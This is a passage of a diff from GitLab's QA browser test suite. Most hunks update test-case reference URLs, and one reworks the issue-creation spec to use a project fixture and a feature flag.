+++ b/qa/qa/specs/features/browser_ui/1_manage/project/dashboard_images_spec.rb
@@ -39,13 +39,13 @@ module QA
end
end
- context 'when logged in as a new user', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1549' do
+ context 'when logged in as a new user', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347885' do
it_behaves_like 'loads all images' do
let(:new_user) { @new_user }
end
end
- context 'when logged in as a new admin', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1550' do
+ context 'when logged in as a new admin', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347884' do
it_behaves_like 'loads all images' do
let(:new_user) { @new_admin }
end
diff --git a/qa/qa/specs/features/browser_ui/1_manage/project/import_github_repo_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/project/import_github_repo_spec.rb
index c078c4bf12e..72867333d16 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/project/import_github_repo_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/project/import_github_repo_spec.rb
@@ -38,7 +38,7 @@ module QA
user.remove_via_api!
end
- it 'imports a GitHub repo', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1607' do
+ it 'imports a GitHub repo', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347877' do
Page::Project::Import::Github.perform do |import_page|
import_page.add_personal_access_token(Runtime::Env.github_access_token)
import_page.import!(github_repo, group.full_path, imported_project.name)
diff --git a/qa/qa/specs/features/browser_ui/1_manage/project/project_access_token_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/project/project_access_token_spec.rb
index dcf72c1cafc..be8567ee0b6 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/project/project_access_token_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/project/project_access_token_spec.rb
@@ -5,7 +5,7 @@ module QA
describe 'Project access tokens' do
let(:project_access_token) {QA::Resource::ProjectAccessToken.fabricate_via_browser_ui!}
- it 'can be created and revoked via the UI', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1832' do
+ it 'can be created and revoked via the UI', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347688' do
expect(project_access_token.token).not_to be_nil
project_access_token.revoke_via_ui!
diff --git a/qa/qa/specs/features/browser_ui/1_manage/project/view_project_activity_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/project/view_project_activity_spec.rb
index e5faebd2a80..1be73d92a8c 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/project/view_project_activity_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/project/view_project_activity_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Manage' do
describe 'Project activity' do
- it 'user creates an event in the activity page upon Git push', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1591' do
+ it 'user creates an event in the activity page upon Git push', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347879' do
Flow::Login.sign_in
project = Resource::Repository::ProjectPush.fabricate! do |push|
diff --git a/qa/qa/specs/features/browser_ui/1_manage/user/follow_user_activity_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/user/follow_user_activity_spec.rb
index d0a57b95df4..43100929acd 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/user/follow_user_activity_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/user/follow_user_activity_spec.rb
@@ -61,7 +61,7 @@ module QA
user_api_client.personal_access_token
end
- it 'can be followed and their activity seen', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1842' do
+ it 'can be followed and their activity seen', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347678' do
Flow::Login.sign_in
page.visit Runtime::Scenario.gitlab_address + "/#{user.username}"
Page::User::Show.perform(&:click_follow_user_link)
diff --git a/qa/qa/specs/features/browser_ui/1_manage/user/user_access_termination_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/user/user_access_termination_spec.rb
index 1158e65c3f3..58dcd922255 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/user/user_access_termination_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/user/user_access_termination_spec.rb
@@ -39,7 +39,7 @@ module QA
end
end
- it 'is not allowed to edit the project files', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1709' do
+ it 'is not allowed to edit the project files', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347866' do
Flow::Login.sign_in(as: user)
project.visit!
diff --git a/qa/qa/specs/features/browser_ui/2_plan/email/trigger_email_notification_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/email/trigger_email_notification_spec.rb
index 27c16898c43..4350b8f0d3e 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/email/trigger_email_notification_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/email/trigger_email_notification_spec.rb
@@ -20,7 +20,7 @@ module QA
Flow::Login.sign_in
end
- it 'is received by a user for project invitation', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1448' do
+ it 'is received by a user for project invitation', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347961' do
project.visit!
Page::Project::Menu.perform(&:click_members)
diff --git a/qa/qa/specs/features/browser_ui/2_plan/issue/check_mentions_for_xss_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/issue/check_mentions_for_xss_spec.rb
index 7c4e10dc2b3..c2b42de6701 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/issue/check_mentions_for_xss_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/issue/check_mentions_for_xss_spec.rb
@@ -33,7 +33,7 @@ module QA
user&.remove_via_api!
end
- it 'mentions a user in a comment', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1559' do
+ it 'mentions a user in a comment', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347949' do
Page::Project::Issue::Show.perform do |show|
show.select_all_activities_filter
show.comment("cc-ing you here @#{user.username}")
diff --git a/qa/qa/specs/features/browser_ui/2_plan/issue/collapse_comments_in_discussions_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/issue/collapse_comments_in_discussions_spec.rb
index 95272bae9c2..8e8112faa48 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/issue/collapse_comments_in_discussions_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/issue/collapse_comments_in_discussions_spec.rb
@@ -13,7 +13,7 @@ module QA
issue.visit!
end
- it 'collapses and expands reply for comments in an issue', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1189' do
+ it 'collapses and expands reply for comments in an issue', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347985' do
Page::Project::Issue::Show.perform do |show|
show.select_all_activities_filter
show.start_discussion('My first discussion')
diff --git a/qa/qa/specs/features/browser_ui/2_plan/issue/comment_issue_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/issue/comment_issue_spec.rb
index b4df43cb235..3b02093054d 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/issue/comment_issue_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/issue/comment_issue_spec.rb
@@ -9,7 +9,7 @@ module QA
Resource::Issue.fabricate_via_api!.visit!
end
- it 'comments on an issue and edits the comment', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1200' do
+ it 'comments on an issue and edits the comment', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347978' do
Page::Project::Issue::Show.perform do |show|
first_version_of_comment = 'First version of the comment'
second_version_of_comment = 'Second version of the comment'
diff --git a/qa/qa/specs/features/browser_ui/2_plan/issue/create_issue_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/issue/create_issue_spec.rb
index 81ae8b82ef6..eb4eb1d3e71 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/issue/create_issue_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/issue/create_issue_spec.rb
@@ -1,25 +1,32 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Plan', :smoke do
+ # TODO: Remove :requires_admin when the `Runtime::Feature.enable` method call is removed
+ RSpec.describe 'Plan', :smoke, :requires_admin do
describe 'Issue creation' do
- let(:closed_issue) { Resource::Issue.fabricate_via_api! }
+ let(:project) { Resource::Project.fabricate_via_api! }
+ let(:closed_issue) { Resource::Issue.fabricate_via_api! { |issue| issue.project = project } }
before do
+ Runtime::Feature.enable(:vue_issues_list, group: project.group)
+
Flow::Login.sign_in
end
- it 'creates an issue', :mobile, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1185' do
- issue = Resource::Issue.fabricate_via_browser_ui!
+ it 'creates an issue', :mobile, testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347989' do
+ issue = Resource::Issue.fabricate_via_browser_ui! { |issue| issue.project = project }
Page::Project::Menu.perform(&:click_issues)
+ # TODO: Remove this method when the `Runtime::Feature.enable` method call is removed
+ Page::Project::Issue::Index.perform(&:wait_for_vue_issues_list_ff)
+
Page::Project::Issue::Index.perform do |index|
expect(index).to have_issue(issue)
end
end
- it 'closes an issue', :mobile, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1222' do
+ it 'closes an issue', :mobile, testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347967' do
closed_issue.visit!
Page::Project::Issue::Show.perform do |issue_page|
@@ -29,10 +36,14 @@ module QA
end
Page::Project::Menu.perform(&:click_issues)
+
+ # TODO: Remove this method when the `Runtime::Feature.enable` method call is removed
+ Page::Project::Issue::Index.perform(&:wait_for_vue_issues_list_ff)
+
Page::Project::Issue::Index.perform do |index|
expect(index).not_to have_issue(closed_issue)
- index.click_closed_issues_link
+ index.click_closed_issues_tab
expect(index).to have_issue(closed_issue)
end
@@ -45,13 +56,13 @@ module QA
end
before do
- Resource::Issue.fabricate_via_api!.visit!
+ Resource::Issue.fabricate_via_api! { |issue| issue.project = project }.visit!
end
# The following example is excluded from running in `review-qa-smoke` job
# as it proved to be flaky when running against Review App
# See https://gitlab.com/gitlab-com/www-gitlab-com/-/issues/11568#note_621999351
- it 'comments on an issue with an attachment', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1599', except: { job: 'review-qa-smoke' } do
+ it 'comments on an issue with an attachment', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347946', except: { job: 'review-qa-smoke' } do
Page::Project::Issue::Show.perform do |show|
show.comment('See attached image for scale', attachment: file_to_attach)
diff --git a/qa/qa/specs/features/browser_ui/2_plan/issue/custom_issue_template_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/issue/custom_issue_template_spec.rb
index 5ad590f4011..044cc118085 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/issue/custom_issue_template_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/issue/custom_issue_template_spec.rb
@@ -28,7 +28,7 @@ module QA
end
end
- it 'creates an issue via custom template', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1612' do
+ it 'creates an issue via custom template', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347945' do
Resource::Issue.fabricate_via_browser_ui! do |issue|
issue.project = template_project
issue.template = template_name
diff --git a/qa/qa/specs/features/browser_ui/2_plan/issue/export_as_csv_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/issue/export_as_csv_spec.rb
index 3914dbf4cd2..e8c624e9554 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/issue/export_as_csv_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/issue/export_as_csv_spec.rb
@@ -22,7 +22,7 @@ module QA
Page::Project::Menu.perform(&:click_issues)
end
- it 'successfully exports issues list as CSV', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1210' do
+ it 'successfully exports issues list as CSV', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347968' do
Page::Project::Issue::Index.perform do |index|
index.click_export_as_csv_button
diff --git a/qa/qa/specs/features/browser_ui/2_plan/issue/filter_issue_comments_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/issue/filter_issue_comments_spec.rb
index f31a8e69f83..c9536699cc5 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/issue/filter_issue_comments_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/issue/filter_issue_comments_spec.rb
@@ -9,7 +9,7 @@ module QA
Resource::Issue.fabricate_via_api!.visit!
end
- it 'filters comments and activities in an issue', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1577' do
+ it 'filters comments and activities in an issue', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347948' do
Page::Project::Issue::Show.perform do |show|
my_own_comment = "My own comment"
made_the_issue_confidential = "made the issue confidential"
diff --git a/qa/qa/specs/features/browser_ui/2_plan/issue/issue_suggestions_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/issue/issue_suggestions_spec.rb
index 8cef592029e..6bb338ae31f 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/issue/issue_suggestions_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/issue/issue_suggestions_spec.rb
@@ -13,7 +13,7 @@ module QA
end.project.visit!
end
- it 'shows issue suggestions when creating a new issue', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1179' do
+ it 'shows issue suggestions when creating a new issue', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347995' do
Page::Project::Show.perform(&:go_to_new_issue)
Page::Project::Issue::New.perform do |new_page|
new_page.fill_title("issue")
diff --git a/qa/qa/specs/features/browser_ui/2_plan/issue/jira_issue_import_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/issue/jira_issue_import_spec.rb
index 57ef09ab347..b7fa57a3270 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/issue/jira_issue_import_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/issue/jira_issue_import_spec.rb
@@ -14,7 +14,7 @@ module QA
end
end
- it 'imports issues from Jira', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1321' do
+ it 'imports issues from Jira', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347966' do
set_up_jira_integration
import_jira_issues
diff --git a/qa/qa/specs/features/browser_ui/2_plan/issue/mentions_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/issue/mentions_spec.rb
index 2d7fe6864aa..7d6718073f9 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/issue/mentions_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/issue/mentions_spec.rb
@@ -23,7 +23,7 @@ module QA
end.visit!
end
- it 'mentions another user in an issue', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1186' do
+ it 'mentions another user in an issue', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347988' do
Page::Project::Issue::Show.perform do |show|
at_username = "@#{user.username}"
diff --git a/qa/qa/specs/features/browser_ui/2_plan/issue/real_time_assignee_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/issue/real_time_assignee_spec.rb
index 268ea975d32..45d466903de 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/issue/real_time_assignee_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/issue/real_time_assignee_spec.rb
@@ -28,7 +28,7 @@ module QA
Runtime::Feature.disable(:invite_members_group_modal, project: project)
end
- it 'update without refresh', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1644' do
+ it 'update without refresh', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347941' do
issue = Resource::Issue.fabricate_via_api! do |issue|
issue.project = project
issue.assignee_ids = [user1.id]
diff --git a/qa/qa/specs/features/browser_ui/2_plan/issue_boards/focus_mode_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/issue_boards/focus_mode_spec.rb
index 63e707a4d27..f116c690eec 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/issue_boards/focus_mode_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/issue_boards/focus_mode_spec.rb
@@ -13,7 +13,7 @@ module QA
Flow::Login.sign_in
end
- it 'focuses on issue board', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1178' do
+ it 'focuses on issue board', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347996' do
project.visit!
Page::Project::Menu.perform(&:go_to_boards)
diff --git a/qa/qa/specs/features/browser_ui/2_plan/milestone/create_group_milestone_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/milestone/create_group_milestone_spec.rb
index 9097dc07b04..22709e8fbc4 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/milestone/create_group_milestone_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/milestone/create_group_milestone_spec.rb
@@ -14,7 +14,7 @@ module QA
Flow::Login.sign_in
end
- it 'creates a group milestone', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1203' do
+ it 'creates a group milestone', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347975' do
group_milestone = Resource::GroupMilestone.fabricate_via_browser_ui! do |milestone|
milestone.title = title
milestone.description = description
diff --git a/qa/qa/specs/features/browser_ui/2_plan/milestone/create_project_milestone_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/milestone/create_project_milestone_spec.rb
index a6aee3e2b06..8047f8aea4c 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/milestone/create_project_milestone_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/milestone/create_project_milestone_spec.rb
@@ -14,7 +14,7 @@ module QA
Flow::Login.sign_in
end
- it 'creates a project milestone', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1187' do
+ it 'creates a project milestone', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347987' do
project_milestone = Resource::ProjectMilestone.fabricate_via_browser_ui! do |milestone|
milestone.title = title
milestone.description = description
diff --git a/qa/qa/specs/features/browser_ui/2_plan/related_issues/related_issues_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/related_issues/related_issues_spec.rb
index 2bb686c2694..85011415177 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/related_issues/related_issues_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/related_issues/related_issues_spec.rb
@@ -25,7 +25,7 @@ module QA
Flow::Login.sign_in
end
- it 'relates and unrelates one issue to/from another', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1180' do
+ it 'relates and unrelates one issue to/from another', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347994' do
issue_1.visit!
Page::Project::Issue::Show.perform do |show|
diff --git a/qa/qa/specs/features/browser_ui/2_plan/transient/comment_on_discussion_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/transient/comment_on_discussion_spec.rb
index 6d73848b8f8..a3fe1d655aa 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/transient/comment_on_discussion_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/transient/comment_on_discussion_spec.rb
@@ -16,7 +16,7 @@ module QA
Flow::Login.sign_in
end
- it 'comments with mention on a discussion in an issue', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1816' do
+ it 'comments with mention on a discussion in an issue', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347940' do
Runtime::Env.transient_trials.times do |i|
QA::Runtime::Logger.info("Transient bug test action - Trial #{i}")
diff --git a/qa/qa/specs/features/browser_ui/3_create/design_management/add_design_content_spec.rb b/qa/qa/specs/features/browser_ui/3_create/design_management/add_design_content_spec.rb
index b26f2338f45..5f896c7bf10 100644
--- a/qa/qa/specs/features/browser_ui/3_create/design_management/add_design_content_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/design_management/add_design_content_spec.rb
@@ -12,7 +12,7 @@ module QA
Flow::Login.sign_in
end
- it 'user adds a design and annotates it', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1290' do
+ it 'user adds a design and annotates it', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347822' do
issue.visit!
Page::Project::Issue::Show.perform do |issue|
diff --git a/qa/qa/specs/features/browser_ui/3_create/design_management/archive_design_content_spec.rb b/qa/qa/specs/features/browser_ui/3_create/design_management/archive_design_content_spec.rb
index e7954cefffc..de7c95841d6 100644
--- a/qa/qa/specs/features/browser_ui/3_create/design_management/archive_design_content_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/design_management/archive_design_content_spec.rb
@@ -23,7 +23,7 @@ module QA
Flow::Login.sign_in
end
- it 'user archives a design', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1812' do
+ it 'user archives a design', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347713' do
third_design.issue.visit!
Page::Project::Issue::Show.perform do |issue|
diff --git a/qa/qa/specs/features/browser_ui/3_create/design_management/modify_design_content_spec.rb b/qa/qa/specs/features/browser_ui/3_create/design_management/modify_design_content_spec.rb
index 7192e68d1cd..726e86ccdb4 100644
--- a/qa/qa/specs/features/browser_ui/3_create/design_management/modify_design_content_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/design_management/modify_design_content_spec.rb
@@ -13,7 +13,7 @@ module QA
Flow::Login.sign_in
end
- it 'user adds a design and modifies it', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1813' do
+ it 'user adds a design and modifies it', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347712' do
design.issue.visit!
Page::Project::Issue::Show.perform do |issue|
diff --git a/qa/qa/specs/features/browser_ui/3_create/jenkins/jenkins_build_status_spec.rb b/qa/qa/specs/features/browser_ui/3_create/jenkins/jenkins_build_status_spec.rb
index 245b33c6691..e5a6c57656e 100644
--- a/qa/qa/specs/features/browser_ui/3_create/jenkins/jenkins_build_status_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/jenkins/jenkins_build_status_spec.rb
@@ -25,7 +25,7 @@ module QA
setup_jenkins
end
- it 'integrates and displays build status for MR pipeline in GitLab', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1410' do
+ it 'integrates and displays build status for MR pipeline in GitLab', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347788' do
login_to_gitlab
setup_project_integration_with_jenkins
diff --git a/qa/qa/specs/features/browser_ui/3_create/jira/jira_basic_integration_spec.rb b/qa/qa/specs/features/browser_ui/3_create/jira/jira_basic_integration_spec.rb
index b2efdb11e9a..088556a3981 100644
--- a/qa/qa/specs/features/browser_ui/3_create/jira/jira_basic_integration_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/jira/jira_basic_integration_spec.rb
@@ -36,7 +36,7 @@ module QA
expect(page).not_to have_text("Requests to the local network are not allowed")
end
- it 'closes an issue via pushing a commit', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1362' do
+ it 'closes an issue via pushing a commit', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347794' do
issue_key = Vendor::Jira::JiraAPI.perform do |jira_api|
jira_api.create_issue(jira_project_key)
end
@@ -46,7 +46,7 @@ module QA
expect_issue_done(issue_key)
end
- it 'closes an issue via a merge request', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1361' do
+ it 'closes an issue via a merge request', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347795' do
issue_key = Vendor::Jira::JiraAPI.perform do |jira_api|
jira_api.create_issue(jira_project_key)
end
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/cherry_pick/cherry_pick_a_merge_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/cherry_pick/cherry_pick_a_merge_spec.rb
index 826c1a45ff4..413c530116c 100644
--- a/qa/qa/specs/features/browser_ui/3_create/merge_request/cherry_pick/cherry_pick_a_merge_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/cherry_pick/cherry_pick_a_merge_spec.rb
@@ -22,7 +22,7 @@ module QA
Flow::Login.sign_in
end
- it 'creates a merge request', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1836' do
+ it 'creates a merge request', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347684' do
feature_mr.visit!
Page::MergeRequest::Show.perform do |merge_request|
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/cherry_pick/cherry_pick_commit_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/cherry_pick/cherry_pick_commit_spec.rb
index b2e54680560..a1d8b495129 100644
--- a/qa/qa/specs/features/browser_ui/3_create/merge_request/cherry_pick/cherry_pick_commit_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/cherry_pick/cherry_pick_commit_spec.rb
@@ -29,7 +29,7 @@ module QA
commit.visit!
end
- it 'creates a merge request', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1817' do
+ it 'creates a merge request', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347710' do
Page::Project::Commit::Show.perform(&:cherry_pick_commit)
Page::MergeRequest::New.perform(&:create_merge_request)
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/create_merge_request_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/create_merge_request_spec.rb
index 79cc91acc79..6a2fe705cf7 100644
--- a/qa/qa/specs/features/browser_ui/3_create/merge_request/create_merge_request_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/create_merge_request_spec.rb
@@ -19,7 +19,7 @@ module QA
it(
'creates a basic merge request',
:smoke,
- testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1590'
+ testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347738'
) do
Resource::MergeRequest.fabricate_via_browser_ui! do |merge_request|
merge_request.project = project
@@ -36,7 +36,7 @@ module QA
it(
'creates a merge request with a milestone and label',
- testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1542'
+ testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347762'
) do
gitlab_account_username = "@#{Runtime::User.username}"
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/create_merge_request_via_template_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/create_merge_request_via_template_spec.rb
index 01c75d95683..c4aacd8fb06 100644
--- a/qa/qa/specs/features/browser_ui/3_create/merge_request/create_merge_request_via_template_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/create_merge_request_via_template_spec.rb
@@ -29,7 +29,7 @@ module QA
end
end
- it 'creates a merge request via custom template', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1680' do
+ it 'creates a merge request via custom template', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347722' do
Resource::MergeRequest.fabricate_via_browser_ui! do |merge_request|
merge_request.project = template_project
merge_request.title = merge_request_title
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_merge_request_from_fork_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_merge_request_from_fork_spec.rb
index f2d4fc6e677..d198d79c5fe 100644
--- a/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_merge_request_from_fork_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_merge_request_from_fork_spec.rb
@@ -17,7 +17,7 @@ module QA
merge_request.fork.remove_via_api!
end
- it 'can merge feature branch fork to mainline', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1305' do
+ it 'can merge feature branch fork to mainline', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347818' do
merge_request.visit!
Page::MergeRequest::Show.perform do |merge_request|
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_when_pipeline_succeeds_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_when_pipeline_succeeds_spec.rb
index 3a5850c0047..9a771919c11 100644
--- a/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_when_pipeline_succeeds_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_when_pipeline_succeeds_spec.rb
@@ -87,11 +87,11 @@ module QA
end
end
- context 'when merging once', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1834' do
+ context 'when merging once', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347686' do
it_behaves_like 'merge when pipeline succeeds'
end
- context 'when merging several times', :transient, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1917' do
+ context 'when merging several times', :transient, testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347641' do
it_behaves_like 'merge when pipeline succeeds', repeat: Runtime::Env.transient_trials
end
end
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/rebase_merge_request_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/rebase_merge_request_spec.rb
index 81fb187df85..536abfa5303 100644
